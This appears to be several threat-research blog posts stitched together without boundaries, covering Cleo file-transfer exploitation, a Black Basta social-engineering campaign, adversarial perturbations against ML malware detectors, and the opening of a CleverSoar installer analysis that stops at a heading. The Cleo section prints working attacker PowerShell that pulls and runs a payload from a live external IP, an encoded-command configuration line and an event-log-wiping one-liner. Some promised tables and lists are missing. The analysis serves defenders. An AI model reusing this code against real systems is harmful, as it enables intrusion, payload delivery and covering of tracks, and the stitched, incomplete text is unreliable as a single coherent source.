As Huntress pointed out in their blog on this threat campaign, part of the attack chain involves uploading and executing an XML file as part of a ZIP. When analyzing the XML file that contains the PowerShell code, we looked at the code to understand how the code would trigger in line with the known CVE (CVE-2024-50623) and the new CVE (still pending) for the unauthenticated malicious hosts vulnerability in Cleo software.

The XML snippet appears to define a "Host" and "Mailbox" configuration in Cleo Integration Suite (e.g., Harmony, VLTrader, or LexiCom). Cleo software often uses XML-based configuration files for trading partner setups, hosts, mailboxes, and scheduled actions or commands. Each <Host> element represents a communication endpoint, and each <Mailbox> often represents a sub-endpoint or logical folder.

The <Action> elements define which tasks (commands, scripts, or transfers) should be performed. Looking at the code of our XML, we observed a suspicious element.

Under <Mailbox> there is an <Action> element with actiontype="Commands". Inside this action, there's a <Commands> tag that runs:

SYSTEM cmd.exe /c "powershell -NonInteractive -EncodedCommand <base64_data>" > webserver/temp/webserver-<GUID>.swp

The <Commands> directive is invoking cmd.exe which runs PowerShell with an encoded command. The command is outputting to a .swp file, possibly to hide or store results locally.

By embedding this script within the <Action> element of the XML, if the CLEO system imports this configuration and executes the defined action by combining the vulnerability mentioned in CVE-2024-50623, the malicious code will run on the server. This could completely compromise the system running CLEO, given that CLEO often runs with significant privileges and access to internal systems and file shares.

Analyzing the malicious PowerShell script content

The script in question was originally invoked as remote code execution (RCE) during suspected CVE-2024-50623 exploitation:

powershell -NonInteractive -EncodedCommand <base64_string>

This is a common technique used by attackers to obfuscate their malicious code. Decoding the Base64 string reveals a PowerShell snippet that:

1. Establishes a TCP connection to a suspicious external host (185.181.230.103) on port 443. (See additional external host indicators in the IOCs section.)
2. Retrieves and decrypts data from the remote server using a custom XOR-based routine.
3. Writes the decrypted output as a JAR file named cleo.2853.
4. Executes the malicious JAR using the embedded Java runtime of Cleo LexiCom (jre\bin\java.exe -jar cleo.2853).

Step-by-step analysis

1. Network connection setup
The script begins by creating a Net.Sockets.TcpClient object and connecting it to the remote server:

$c = New-Object Net.Sockets.TcpClient("185.181.230.103", 443)
$s = $c.GetStream()
$s.ReadTimeout = 10000
$w = New-Object System.IO.StreamWriter $s

A StreamWriter $w is then created, allowing the script to send initial data to the server. The malware sends the “TLS v3 <string.>” and processes the response. This serves as a form of handshake or protocol initialization.

2. XOR decryption setup
Before reading any payload from the server, the script sets up key variables for decrypting data:

$k = 112,171,142,211,15,25,18,201,93,185,21,234,208,30,189,187
$a = New-Object System.Byte[] 9999
$f = "cleo.2853"
$t = New-Object IO.FileStream($f, [IO.FileMode]::Create)
$n = $g = 0

• $k is an array of 16 bytes used as part of the XOR encryption key.
• $a is a large buffer (9999 bytes) to hold data read from the stream.
• $f is the output file that will eventually contain the decrypted payload.
• $t is a file stream for writing data to disk.

3. Reading and decrypting the payload
The script enters a loop, reading chunks of data and decrypting each byte with a custom XOR routine:

while(1){
    $r = $s.Read($a,0,9999)
    if($r -le 0){break}
    for($i=0;$i -lt $r;$i++){
        $j = $n++ -band 15
        $a[$i] = $a[$i] -bxor $k[$j] -bxor $g
        $g = ($g + $a[$i]) -band 255
        $k[$j] = ($k[$j] + 3) -band 255
    }
    $t.Write($a,0,$r)
}

This code does several things:

• It continuously reads data from the remote server into $a.
• For each byte, it calculates an index $j into $k (cycling through the key bytes).
• It XORs the received byte with $k[$j] and a running state variable $g.
• $g and $k[$j] evolve dynamically, meaning the key changes with every byte processed, making static detection harder.
• Decrypted bytes are then written directly into the file cleo.2853.

The number behind the “cleo.*” differs in the cases we observed. By the end of this loop, the attacker’s encrypted payload is stored locally as a decrypted file.

4. Final steps: Executing the malicious JAR
After fetching and decrypting the data, the script closes all streams and sets some environment variables:

$t.Close()
$w.Close()
$s.Close()

$env:QUERY="...185.181.230.103;135.237.120.41;"
$env:F=$f

The $env:QUERY variable appears to include additional IP addresses and contains the AES key used to decrypt the next stage and the string to send to the C2 server to receive the next payload. Finally, the script runs the malicious JAR file:

Start-Process -WindowStyle Hidden -FilePath jre\bin\java.exe -ArgumentList "-jar $f"

This leverages the Cleo environment’s embedded Java runtime. Since Cleo’s file transfer products come bundled with their own Java environment, the attackers don’t need to rely on a system-wide installation — they can simply run their malicious JAR directly. In one of our IR cases, the “cleo.xxxx” file was written to the C:\VLTrader\ directory.

Inside the JAR file
The core functionality revolves around a custom class loader named "start".

Instead of loading classes from the file system, this loader accepts a byte array representing a compressed archive of class files. It then extracts each entry and stores them in a map, ready to be defined as Java classes on demand.

What does this custom class loader do?

1. Extracts classes from a byte array: The constructor of the start class takes a byte array (like a JAR) and reads the class using a ZipInputStream. Each entry is unpacked and stored in a map keyed by the entry name. For example:

ZipInputStream zis = new ZipInputStream(new ByteArrayInputStream(byteArray));
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    int read;
    while ((read = zis.read(buffer)) > 0) {
        bos.write(buffer, 0, read);
    }
    cs.put(entry.getName(), bos.toByteArray());
}
Defining Classes at Runtime: Later, when a class is requested, the findClass method checks the map. If found, it uses defineClass to load that class directly from the in-memory bytes:
if (cs.containsKey(className)) {
    byte[] classData = (byte[]) cs.get(className);
    return defineClass(className, classData, 0, classData.length);

2. Fetches and decrypts class data remotely. The main method doesn’t just run local code — it also does the following:

• Reads configuration and keys from environment variables.
• Connects to a remote host over port 443 and sends a "TLS v3" handshake-like message.
• Receives encrypted data, which it then decrypts using AES keys derived from the environment-provided values.
• Once decrypted, this data is treated like a JAR file, passed into a new start instance, and thus new classes are loaded at runtime.

3. Executes a specific class (Cli): With the new classes loaded, the code uses reflection to instantiate a particular class named "Cli" and invoke its constructor.

This mechanism allows the JAR to remain small and stealthy, as it doesn't contain all its logic up front. Instead, it fetches critical code at runtime, decrypts it, and executes it dynamically. But it didn't stop here — after executing this first JAR file, which acts as a loader, it downloads a zip file that contains multiple JAR files:

Overall this is how the modules work together and what their function is:

The Cli class appears to be a key component of a remote backdoor mechanism. On startup, it determines the operating system and sets flags accordingly before attempting to connect to a remote host over port 443 using Java’s non-blocking I/O. Once connected, it can manage data streams via asynchronous event loops, handle received data, and potentially issue commands. After initialization, the code instructs the system to delete its own initial file to remove evidence of its presence.

In Rapid7 MDR investigations into exploitation of Cleo software, we observed commands being executed that we would categorize as reconnaissance attempts.

The DWN class appears to facilitate the packaging and transmission of files from the local system to a remote server. It assembles files (and directories) into a ZIP archive on the fly, splitting them into multiple ZIP chunks if they exceed a certain size threshold. Using a SrvSlot reference, it sends compressed file data over a network channel, carefully managing buffers and limiting throughput to avoid overwhelming the connection. The code iterates through directories, queues files, and processes them incrementally, updating statistics and retrying if conditions are not ideal. Through this mechanism, this class effectively automates and streamlines the mass transfer of local files, hinting at a data exfiltration or remote backup process. It’s designed to run quietly in the background, handle large file sets, and provide periodic progress updates to its server counterpart.

The DwnLevel class is a simple helper structure that represents a single level in a file traversal hierarchy. It holds an array of file objects, along with an index and a state variable to track the current processing position. As the Dwn class iterates through directories, the DwnLevel Java class instance keeps track of which files have been processed and which remain, helping the file packaging and transfer process proceed smoothly through potentially nested directories.

The Mos class acts as a custom output stream for sending ZIP data through Dwn. Instead of writing to disk, it buffers data in memory, attaches metadata like the job ID and packet offsets, and then hands the chunks off to Dwn to send out. This setup allows code that writes ZIP entries to operate as if it were writing to a normal output stream, while the Mos and Dwn classes handle the network transmission details behind the scenes.

Proc is a thread that runs external commands on the system, captures their output, and sends it back through SrvSlot. It can launch interactive shells, parse configuration files, and handle input given before the process starts.

In the code of this class, we also can discover that it is cross platform designed, either executing a cmd (Windows) or bash (*nix) shell:

ScSlot manages a network connection for a specific channel. It handles connecting, reading data, and relaying it to the SrvSlot class. If the connection fails or no data is received, it signals the server to close the channel. Its tick method processes incoming data in chunks to ensure smooth communication.

The SFile class handles file reading and writing operations. It can both read from an existing file or write to a new file, depending on the flags provided. The class tracks the file size, saved size and handles errors by setting status messages.

The Slot class manages the network connection using the Java network IO class. It handles connecting, reading, and writing, ensuring a smooth data transfer.

Last but not least, since it is a core component of this Java RAT, is the SrvSlot class. It interacts with other classes as described before and is the central node for handling encrypted communications and data transfer — it handles the ZIP transfer traffic. Besides traffic handling, a small component in the code of this class appears to be for debugging purposes (i.e., providing diagnostics and session statistics).

Overall this set of Java classes provide a modular multi-stage system (Java-RAT) designed to communicate with a C2, has file-transfer and management functionality, can execute commands and applies packet level encryption/decryption.

Indicators of compromise

Network IOCs:
89.248.172[.]139
176.123.10[.]115
185.162.128[.]133
185.163.204[.]137
185.181.230[.]103
45.182.189[.]102 - Cobalt Strike server
45.182.189[.]102/dpixel (payload location)

Post-exploitation behavior

In multiple attack chains, after initial exploitation, the adversary executed the following enumeration commands via cmd to gather user, group and system information from the impacted system and display domain trust relationships.

systeminfo

net group /domain

whoami

wmic logicaldisk get name,size

nltest /domain_trusts

In addition, across multiple incidents, Rapid7 identified the usage of the Java-based RAT (e.g., cleo.1234) to spawn a PowerShell instance with the command line powershell.exe -NonInteractive -Command -. The PowerShell instance was then used to run a script that functions as a shellcode loader. After AES decryption and execution, the shellcode embedded within the script reaches out to the Cobalt Strike server 45.182.189[.]102 over HTTP. The shellcode within the PowerShell script acts as a stager, and ultimately downloads, decrypts, loads, and executes a 64-bit Cobalt Strike beacon DLL from the server. From one decrypted Cobalt Strike beacon, acquired from 45.182.189[.]102, Rapid7 extracted the license ID 1580103824.

During analysis of the PowerShell script, Rapid7 recovered a function that is capable of clearing the Windows event logs if the executing process is a member of the Administrators group. Despite the script executing under the SYSTEM user however, Rapid7 did not observe usage of the function, which allowed for the recovery and analysis of the script.

$mkpfaejh85 = [bool](([Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544");if ($mkpfaejh85) { start-Process 'powershell' '-c "&{Get-EventLog -LogName *|ForEach{Clear-EventLog $_.Log}}"' -nonewwindow; };

Rapid7 also observed post-exploitation activity in the form of an "OverPass-The-Hash" attack, in which the adversary leverages the NTLM hash of an account to obtain a Kerberos ticket that can be used to access additional network resources within the impacted environment.

MITRE ATT&CK Enterprise Techniques

Beginning in early October, Rapid7 has observed a resurgence of activity related to the ongoing social engineering campaign being conducted by Black Basta ransomware operators. Rapid7 initially reported the discovery of the novel social engineering campaign back in May, 2024, followed by an update in August 2024, when the operators updated their tactics and malware payloads and began sending lures via Microsoft Teams. Now, the procedures followed by the threat actors in the early stages of the social engineering attacks have been refined again, with new malware payloads, improved delivery, and increased defense evasion.

Overview

The social engineering attacks are still initiated in a similar manner. Users within the target environment will be email bombed by the threat actor, which is often achieved by signing up the user’s email to numerous mailing lists simultaneously. After the email bomb, the threat actor will reach out to the impacted users. Rapid7 has observed the initial contact still occurs primarily through usage of Microsoft Teams, by which the threat actor, as an external user, will attempt to call or message the impacted user to offer assistance. The account domains in use include both Azure/Entra tenant subdomains (e.g., username[@]tenantsubdomain[.]onmicrosoft[.]com) and custom domains (e.g., username[@]cofincafe[.]com).

In many cases, Rapid7 has observed that the threat actor will pretend to be a member of the target organization’s help desk, support team, or otherwise present themself as IT staff. Below are examples of Microsoft Teams display names observed, by Rapid7, to be in use by operators. The display names may or may not be padded with whitespace characters. Rapid7 has also observed threat actors use a first and last name, as the chat display name and/or account username, to impersonate an IT staff member within the targeted organization.

If the user interacts with the lure, either by answering the call or messaging back, the threat actor will attempt to get the user to install or execute a remote management (RMM) tool, including, but not limited to, QuickAssist, AnyDesk, TeamViewer, Level, or ScreenConnect. Rapid7 has also observed attempts to leverage the OpenSSH client, a native Windows utility, to establish a reverse shell. In at least one instance, the threat actor shared a QR code with the targeted user. The purpose of the QR code is unconfirmed but appears to be an attempt to bypass MFA after stealing a user’s credentials. The URL embedded within the QR code adheres to the following format: hxxps://<company_name>[.]qr-<letter><number>[.]com.

In a majority of cases, Rapid7 has observed that the operator, after gaining access to the user’s asset via RMM tool, will then attempt to download and execute additional malware payloads. In one case handled by Rapid7, the operator requested more time — potentially to hand off the access to another member of the group.

The payload delivery methods vary per case, but have included external compromised SharePoint instances, common file sharing websites, servers rented through hosting providers, or even direct upload to the compromised asset in the case of RMM tool remote control. In one case, the operator used the group’s custom credential harvester to dump the user’s credentials, the results for which were subsequently uploaded to a file sharing site — publicly exposing the stolen credentials. SharePoint has been used to distribute copies of AnyDesk portable, likely to circumvent security measures that would prevent the user from downloading it directly from anydesk[.]com. Such attempts have been blocked by web proxy in previous cases.

The overall goal following initial access appears to be the same: to quickly enumerate the environment and dump the user’s credentials. When possible, operators will also still attempt to steal any available VPN configuration files. With the user’s credentials, organization VPN information, and potential MFA bypass, it may be possible for them to authenticate directly to the target environment.

Rapid7 has observed usage of the same credential harvesting executable, previously reported as AntiSpam.exe, though it is now delivered in the form of a DLL and most commonly executed via rundll32.exe. Whereas before it was an unobfuscated .NET executable, the program is now commonly contained within a compiled 64-bit DLL loader. Rapid7 has analyzed at least one sample that has also been obfuscated using the group’s custom packer. The newest versions of the credential harvester now save output to the file 123.txt in the user’s %TEMP% directory, an update from the previous qwertyuio.txt file, though versions of the DLL distributed earlier in the campaign would still output to the previous file.

The credential harvester is most commonly followed by the execution of a loader such as Zbot (a.k.a. Zloader) or DarkGate. This can then serve as a gateway to the execution of subsequent payloads in memory, facilitate data theft, or otherwise perform malicious actions. Rapid7 has also observed operators distributing alternate payload archives containing Cobalt Strike beacon loaders and a pair of Java payloads containing a user credential harvester variant and a custom multi-threaded beacon by which to remotely execute PowerShell commands. In some cases, operators have sent the user a short command, via Teams, which will then begin an infection chain after execution by the targeted user.

Rapid7 continues to observe inconsistent usage of the group’s custom packer to deliver various malware payloads, including their custom credential harvester. A YARA rule is now publicly available that can be used to detect the packer. For example, this packer was used to deliver several obfuscated versions of Black Basta ransomware, obtained via open source intelligence, which directly links operators to the ongoing social engineering campaign.

At the time of writing, the threat actors behind the campaign continue to update both their strategy for gaining initial access and the tools subsequently used. For example, around the time the most recent campaign activity began, Rapid7 observed the delivery of a timestamped and versioned payload archive, 171024_V1US.zip (2024-10-17, version 1, US), which, when compared to a more recently delivered archive, 171124_V15.zip (2024-11-17, version 15), highlights the rapid iteration being undertaken. Many of the payloads being delivered follow a similar pattern as previous activity and often consist of a legitimate file where an export or function entry point has been overwritten to jump to malicious code, and the result is signed with a likely stolen code signing certificate.

Intrusions related to the campaign should be taken seriously — the intent goes beyond typical phishing activity. Past campaign activity has led to the deployment of Black Basta ransomware. While Rapid7 has handled a high volume of incidents related to the current social engineering campaign across a variety of customer environments, to date, every case has been contained before the operator was able to move laterally beyond the targeted user’s asset.

Technical Analysis

Initial Access

Each attack is preceded by the targeted user receiving an often overwhelming amount of emails. An operator will then attempt to contact the user via Microsoft Teams, either via messaging or calling, by which they will pretend to offer assistance. Operators will attempt to impersonate the organization’s help desk, such as using the names of existing staff members.

During this social engineering stage, operators often need to troubleshoot with the user to establish remote control of the user’s asset. Based on the environment, for example, RMM tool downloads or execution may be blocked (often some, but not all) or QuickAssist may be disabled, causing the operator to cycle through their options at establishing a foothold. One of the most common first steps after gaining either the confidence of the user, or remote access, is to execute a custom credential harvester.

Credential Harvesting

The credential harvester used by operators, for example SafeStore.dll (SHA256: 3B7E06F1CCAA207DC331AFD6F91E284FEC4B826C3C427DFFD0432FDC48D55176), is an updated version of the previously analyzed program AntiSpam.exe. The DLL variant of the credential harvester is executed by a command like the following example:

rundll32.exe SafeStore.dll,epaas_request_clone

The module will quickly execute three enumeration commands to gather system information — systeminfo, route print, ipconfig /all — and then prompt the user for their password. The user’s credentials are appended onto a new line of the text file 123.txt with each attempt, after the enumeration command output, regardless of whether the credentials are correct. If the user enters the wrong password, they will be prompted to try again. The output for the enumeration commands and the user’s credentials were saved to the file qwertyuio.txt in older versions of the harvester, but are now saved to 123.txt, within the user’s %TEMP% directory. The enumeration commands within the updated version are executed via successive calls to CreateProcessA.

Based on analysis of one credential harvester sample, EventCloud.dll, the program was present in shellcode form. The shellcode is decrypted from the Cursor Group 880 resource embedded within the executable, using the XOR key 5A 3C 77 6E 33 30 4D 38 4F 38 40 78 41 58 51 30 42 5F 3F 67 71 00, and then injected locally. The following strings which were extracted from the shellcode show the output file and list dynamically loaded libraries:

The Java variant of the credential harvester, identity.jar, provides a similar prompt to the user, though when a password is entered it is appended, without the username, to a .txt file with a random 10-letter alphabetic name to the current working directory. The cancel button on the prompt, shown below, is not functional and the prompt is drawn on top of other windows, meaning that it will not close until the user has entered their password correctly.

Malware Payloads

Following execution of a credential harvester, an operator will typically infect the asset with Zbot or DarkGate. One of the Zbot samples delivered after initial access, SyncSuite.exe (SHA256: DB34E255AA4D9F4E54461571469B9DD53E49FEED3D238B6CFB49082DE0AFB1E4) contains similar functionality and strings to other Zbot/Zloader samples previously reported by ZScaler. However, in addition to previously observed strings, the sample also contains encrypted strings for an embedded command help menu, error messages, and more. Rapid7 observed the embedded malware version was 2.9.4.0.

Upon execution, the malware will copy itself to a random folder within the %APPDATA% directory. If the file does not have its original filename however, the process will immediately exit. The malware also contains the functionality to establish persistence either via a Run key at HKCU\Software\Microsoft\Windows\CurrentVersion\Run or a scheduled task named after the executable, which executes the malware copy in %APPDATA% whenever the user logs on. After collecting the hostname, username, and the installation date from the InstallDate value contained within the registry key HKLM\Software\Microsoft\Windows NT\CurrentVersion, this data is concatenated (delimited by underscore characters) and encrypted, along with other config information. It is then stored within the user’s registry inside a random key created at HKCU\Software\Microsoft\. The analyzed sample will also load a fresh copy of ntdll.dll to avoid hooking, which is then used to perform calls to NTAPI functions. SyncSuite.exe ultimately injects itself into a suspended instance of msedge.exe, created using NtCreateUserProcess and executed via ResumeThread, a technique known as Process Hollowing.

All of the strings used by the malware are stored encrypted within the .rdata section along with the configuration. The strings are decrypted using an obfuscated loop that is ultimately a simple XOR operation with the hard coded key 16 EB D5 3E AA E6 51 09 14 D3 DF 18 AD D6 1B BD BE, which is also stored in the .rdata section. The configuration is decrypted using an RC4 key, F3 F9 F7 FB FA F3 F7 F7 FF F5 F2 F3 FA FD FE F2 for this sample. The decrypted configuration for SyncSuite.exe can be seen below, with empty rows removed. The configuration contains a different public RSA key and botnet ID than the one previously shared by ThreatLabz, indicating that the campaign is being run by a different affiliate. All decrypted strings from SyncSuite.exe can be seen in the Zbot Strings section following other Indicators of Compromise.

Rapid7 has also observed the delivery of DarkGate malware following initial access. One payload archive contained both a DarkGate infection initiation script, test.vbs, and an executable copy of the DarkGate malware itself, SafeFilter.exe (SHA256: EF28A572CDA7319047FBC918D60F71C124A038CD18A02000C7AB413677C5C161 ), though this copy is packed using the group’s custom packer. The final payload containing the DarkGate malware, after several layers of decrypting and loading, contains the version string 7.0.6. If the folder c:\debugg exists on the system when the malware is executed it will display the version number via MessageBoxA. The configuration for this sample can be seen below along with hard coded commands. Notably, the campaign ID for the sample appears to be drk2.

The configuration is decrypted with the key ckcilIcconnh within a customized XOR loop near the beginning of execution to reveal CRLF delimited options. However, due to the implementation of the decryption loop, the keyspace is effectively reduced to that of a single byte (0-255), after the first byte. This makes the XOR key for the majority of the config 0x60, for this sample allowing for the encrypted data to be trivially bruteforced.

During execution, DarkGate will hash certain strings and use the result to create or check files at the directories C:\ProgramData\hedfdfd(mainfolder) and C:\temp\. The hashing algorithm uses a randomized key generated at runtime, so the hashes across infections will be different. Commonly used strings and their resultant hash, for the analysis environment, are shown below.

DarkGate may also change its behavior if a known security product is detected. This is achieved by using CreateToolhelp32Snapshot and related functions to loop through running processes which are compared to a hard-coded list. The malware will also check for known installation directories using GetFileAttributesA. If a security product is found, a flag will be set which may alter the execution path. Only the following products had associated flags:

At the end of the first execution of the DarkGate payload, it will then attempt to inject itself into a host process. First, DarkGate will select the injection target by searching a list of hard coded directories for any executable that contains the string updatecore.exe, subdirectories included. The path C:\Program Files (x86)\Microsoft\EdgeUpdate\ is searched first, with the fallback being C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe. If a matching Edge executable is not found, the path C:\Program Files (x86)\Google\Update\ is then searched. If that also fails, the malware will attempt to use C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe.

After successfully choosing the injection target, DarkGate will then inject itself into the target process using shellcode, terminating the original instance of the final DarkGate payload after executing the shellcode. When creating an instance of the target process to inject, DarkGate will also attempt to spoof the parent process ID (PPID) of the injection target by enumerating running processes for accessibility using OpenProcess and then randomly selecting one from an assembled list. The PPID of the target is then updated using UpdateProcThreadAttribute prior to creation with CreateProcessA.

Execution of the injected process is coordinated by checking for the presence of two file based mutexes within C:\ProgramData\hedfdfd\ (mainfolder). Each instance of the DarkGate malware checks both of the file-based mutexes. The file mutex usage is checked via calls to CreateFileA using an exclusive share mode flag (0) and a creation disposition of CREATE_ALWAYS, which means that if the mutex is already in usage by another DarkGate instance the call will fail. If the call to both mutexes created by DarkGate, hfgdced and cekchde, fails, DarkGate will exit. As a result of having two mutexes, DarkGate will typically run within two injected process instances at the same time, so if one process is terminated, the remaining instance will spawn another. If a DarkGate instance is spawned and both calls to open the file based mutexes fail, indicating two existing DarkGate instances, the new instance will terminate. This technique is rarely used by malware developers and highlights the sophistication of DarkGate malware.

DarkGate will unconditionally log keystrokes as well as clipboard data that is under 1024 bytes. The logged data is stored encrypted at C:\ProgramData\hedfdfd\fhhcfhh (mainfolder\logsfolder) within files named <date>.log. The logged data may be sent directly to the C2 address contained within the config. A thread is also created to persist on infected systems by creating the Run key daaadeh (script) at HKCU\Software\Microsoft\Windows\CurrentVersion\Run. The Run key will point to the copies of Autoit3.exe and the compiled AU3 script payload dgfeabe.a3x (au3) created at C:\ProgramData\hedfdfd (mainfolder), with the former executing the latter every time the user logs on. When the AU3 script is executed, DarkGate reinfects the system. The thread continuously monitors the text within the infected user’s active window however, sleeping 1500ms between checks, and will delete the registry key if a blacklisted application is detected. This list includes popular analysis tools such as Process Hacker, Process Monitor, Task Manager, and even the Windows Registry Editor.

The DarkGate sample executed by SafeFilter.exe contains 78 remote commands, some of which can be seen below with their intended function. Every loop, the malware will re-send the text of the active window, user idle time, and whether or not the malware instance has admin rights, before checking for a command.

Mitigation Guidance

Rapid7 recommends taking the following precautions to limit exposure to these types of attacks:

• Restrict the ability for external users to contact users via Microsoft Teams to the greatest extent possible. This can be done for example by blocking all external domains or creating a white/black list. Microsoft Teams will allow all external requests by default. For more information, see this reference.
• Standardize remote management tools within the environment. For unapproved tools, block known hashes and domains to prevent usage. Hash blocking can be done, for example, via Windows AppLocker or an endpoint protection solution.
• Provide user awareness training regarding the social engineering campaign. Familiarize users with official help desk and support procedures to enable them to spot and report suspicious requests.
• Standardize VPN access. Traffic from known low cost VPN solutions should be blocked at a firewall level if there is no business use case.

Rapid7 Customers

InsightIDR, Managed Detection and Response, and Managed Threat Complete customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this activity:

MITRE ATT&CK Techniques

Indicators of Compromise

Indicators of compromise are available here.

Introduction

The rapid advancement of AI has offered powerful tools for malware detection, but it has also introduced new avenues for adversarial attacks. As an example, recently OpenAI reported threat actors abusing ChatGPT to execute reconnaissance, help fix code, write partial code, or look at vulnerabilities. These are, to me, examples of AI aiding “basic” steps, but would threat actors invest and use more advanced applications?

Universal Adversarial Perturbations (UAPs) have gained attention due to their potential to bypass machine learning models in various domains, including malware detection. UAPs can manipulate malware in ways that evade AI-based detection systems without altering the malware's core functionality. However, despite this capability, cybercriminals have not widely adopted AI-driven techniques like UAPs. This blog delves into the complexity and effort required to generate UAPs for malware and explains why it might not be worth the trouble for attackers.

Just to be clear on definitions:

Artificial Intelligence (AI) is a broad field that aims to create machines or software capable of performing tasks that typically require human intelligence, such as understanding language, recognizing images, problem-solving, and decision-making. AI encompasses various techniques and approaches, from rule-based systems to learning algorithms.

Machine Learning (ML) is a subset of AI that focuses on building systems that learn from data. Instead of being explicitly programmed for each task, ML models identify patterns in data to make predictions or decisions, improving over time with more experience.

UAPs: A Brief Overview

Universal Adversarial Perturbations (UAPs) are subtle modifications applied to input data (such as malware samples) to mislead AI models. What makes UAPs particularly interesting is that a single perturbation can be applied to many inputs (one ring rules them all), causing the AI model to misclassify them. Think of it as changing just a few pixels in a picture to make a powerful facial recognition system mistake someone for someone else. In the below example, a single bit of random code is added to multiple different images, resulting in the classifying model going completely wrong on the identification.

When we look at the example of the platypus, the model identifies the animal partially right based on the training on the beak with other images, but due to the interference with the added “noise” in the pixels, it classifies it wrong. That is exactly the interesting space when it comes to malware detection and evasion. You want malicious files to be classified wrong.

In the context of malware detection, UAPs allow attackers to evade detection without having to create entirely new malware variants. While this seems like a low-effort, high-reward strategy, generating effective UAPs is far more challenging than it appears, particularly in the malware domain.

Complexity in Crafting UAPs for Malware

In their paper, "Realizable Universal Adversarial Perturbations for Malware," Labaca-Castro et al. demonstrate that crafting UAPs for malware requires an intricate balance between manipulating feature space (abstract representations of malware) and problem space (real-world executable malware). Unlike image or text data, where perturbations may be easily applied without affecting functionality, malware is far more delicate. A slight misstep in the perturbation process can corrupt the malware sample, rendering it unusable. You need to respect (with regards to Windows malware) the PE structure of a file. A modification to that structure will break its functionality and the malware will not execute. It may have bypassed detection but it is useless to the attacker.

The process requires attackers to perform a series of careful transformations to avoid breaking the executable while still evading detection. This is a far cry from simply adding noise to an image or text dataset. As a result, the time and expertise required to create UAPs that both fool AI/ML malware detection models and preserve malware functionality is significant.

UAPs vs. New Malware Variants

Given the complexity of generating UAPs, cybercriminals face a dilemma: Should they invest time and resources into crafting these perturbations, or is it easier to create entirely new strains of malware?

Developing a new malware strain might involve reusing code from previous versions, applying known obfuscation techniques, or modifying payloads. This process is often faster, less risky, and more predictable compared to the complex sequence of transformations required to generate UAPs. As a result, many attackers prefer to invest in creating new strains of malware, which are more likely to achieve the desired outcome without the same level of effort and risk.

Challenges

One of the major hurdles in applying UAPs to malware is the real-world execution environment. Malware operates in dynamic, unpredictable conditions, and UAPs crafted in controlled environments may not perform as expected once deployed. Small changes in the operating system, file structure, or antivirus defenses can render the UAP ineffective. This fragility is a key reason why UAPs remain largely theoretical for malware attacks rather than a widely adopted technique in practice.

Additionally, defenders are not standing still. Adversarial training—where AI models are retrained using adversarial examples—can harden systems against UAPs, making it even harder for attackers to succeed. Mitigation strategies will raise the cost and effort required for attackers to generate successful UAPs, further reducing their appeal.

Conclusion

The idea of using AI to defeat AI, particularly through Universal Adversarial Perturbations, may seem like a natural progression in the ongoing battle between attackers and defenders. However, the reality is that the complexity and risk associated with developing UAPs for malware make this approach unattractive for most cybercriminals. Instead, attackers tend to rely on more straightforward methods like creating new malware variants, which offer a better return on investment with less risk of failure. If you examine some of the latest ransomware campaigns, none of them highlight the use of AI-based techniques. Instead, as shown in recent coverage of ransomware tactics, attackers consistently focus on tried-and-tested approaches that maximize impact and minimize operational complexity.

As long as the development of UAPs remains fraught with difficulties—such as maintaining functionality and overcoming problem-space constraints—it’s unlikely that we will see widespread adoption of these techniques in the cybercriminal world. Instead, traditional malware development and deployment methods will continue to dominate the landscape, while defenders must remain vigilant and adaptive to the evolving AI threat landscape.

In early November, Rapid7 Labs identified a new, highly evasive malware installer, 'CleverSoar,' targeting Chinese and Vietnamese-speaking victims. CleverSoar is designed to deploy and protect multiple malicious components within a campaign, including the advanced Winos4.0 framework and the Nidhogg rootkit. These tools enable capabilities such as keystroke logging, data exfiltration, security bypasses, and covert system control, suggesting that the campaign is part of a potentially prolonged espionage effort. Rapid7 Labs’ findings indicate a sophisticated and persistent threat, likely focused on data capture and extended surveillance.

Distribution

While the majority of CleverSoar installer-related binaries were detected in November 2024, we discovered that the initial version of these files was uploaded to VirusTotal in late July of this year. The malware distribution begins with a .msi installer package, which extracts the files and subsequently executes the CleverSoar installer.

Victimology

The CleverSoar installer, as detailed in the Technical Analysis section, checks the user’s language settings to verify if they are set to Chinese or Vietnamese. If the language is not recognized, the installer terminates, effectively preventing infection. This behavior strongly suggests that the threat actor is primarily targeting victims in these regions. Based on the folder names generated by the malicious .msi files (e.g., Wegame, Installer), we infer that the .msi installer is being distributed as fake software or gaming-related applications.

Attribution

Rapid7 Labs was unable to attribute the installer to a specific known threat actor. However, due to similarities in campaign characteristics, we suspect with medium confidence that the same threat actor may be responsible for both the ValleyRAT campaign and the new campaign, both reported by Fortinet this year. The techniques employed in the CleverSoar installer suggest that the threat actor possesses advanced skills and a comprehensive understanding of Windows protocols and security products.

Rapid7 Customers

InsightIDR and Managed Detection and Response (MDR) customers have existing detection coverage through Rapid7's expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. The following rule will alert on a wide range of malicious hashes tied to behavior in this blog:  Suspicious Process - Malicious Hash On Asset.

Technical Analysis

This technical analysis will cover the CleverSoar installer used to evasively deploy the Nidhogg rootkit, Winos4.0 framework and the custom backdoor (T1105). The installer is also responsible for disabling security solutions (T1562.001) and making sure to infect only machines with Chinese or Vietnamese system languages (T1614.001).

File Information:

Given our high confidence that the malicious files were dropped by a .msi package (T1218.007), which in our case creates a 'WindowsNT' folder under the 'C:\Program Files (x86)' directory, we also assume that the same .msi package is responsible for dropping all the payloads listed below and executing the 'Update.exe' binary.

The installer begins by verifying the existence of the 'C:\cs' folder.It subsequently checks if the process is elevated by executing 'GetTokenInformation' and passing 'TokenElevation' (0x14) as a TokenInformationClass (T1134). If the process is not elevated, the malware will utilize the 'runas' operation of 'ShellExecuteA' to execute the process with Administrator privileges (T1134.002).

Subsequently, it proceeds to a series of evasion techniques, commencing with a rarely employed one.

Firmware Table Anti-VM

